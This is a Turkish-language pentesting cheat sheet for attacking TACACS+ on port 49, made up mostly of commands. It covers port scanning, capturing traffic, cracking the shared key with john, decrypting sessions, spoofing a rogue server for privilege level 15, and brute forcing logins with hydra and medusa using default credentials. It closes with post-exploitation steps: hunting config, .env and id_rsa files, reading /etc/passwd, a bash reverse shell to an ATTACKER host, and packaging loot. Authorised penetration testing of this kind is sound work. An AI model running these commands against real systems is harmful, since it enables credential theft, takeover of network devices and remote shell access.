Skip to content

49 - Pentesting TACACS+

TACACS+ aaa

TACACS+ AAA trafiğini şifreler. Zayıf key ile yakalanan paketler parola açar; sunucu spoof privilege yükseltir. Hedef lab IP’si üzerinde komutları 49 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 49/tcp doğrula.

  2. Key brute (john/hashcat varyantları).

  3. Capture decrypt.

  4. Fake TACACS ile priv-lvl.

Terminal window
nmap -Pn -sV -p49 TARGET
Terminal window
nc -nv TARGET 49
Terminal window
tcpdump -ni any port 49 -w tacacs.pcap
Terminal window
john --wordlist=rockyou.txt tacacs.keycandidates
Terminal window
tshark -r tacacs.pcap -V | head
Terminal window
python3 tacacs_decrypt.py -k key -p tacacs.pcap
rogue TACACS → priv 15
Terminal window
hydra -L users.txt -P pass.txt tacacs://TARGET

TACACS+ için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p49 TARGET
Terminal window
nmap -Pn -p49 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:49' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',49));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → TACACS+
Terminal window
hydra -L users.txt -P rockyou.txt -s 49 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 49
Terminal window
nmap -p49 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit TACACS+
Terminal window
msfconsole -q -x 'search TACACS+; exit'
Terminal window
nuclei -u https://TARGET:49 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:49 -tags tech -silent || true
Terminal window
nc -nv TARGET 49
Terminal window
printf '
' | timeout 3 nc -nv TARGET 49
Terminal window
curl -vk --http1.0 http://TARGET:49/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
pcap → weak key → creds → network device admin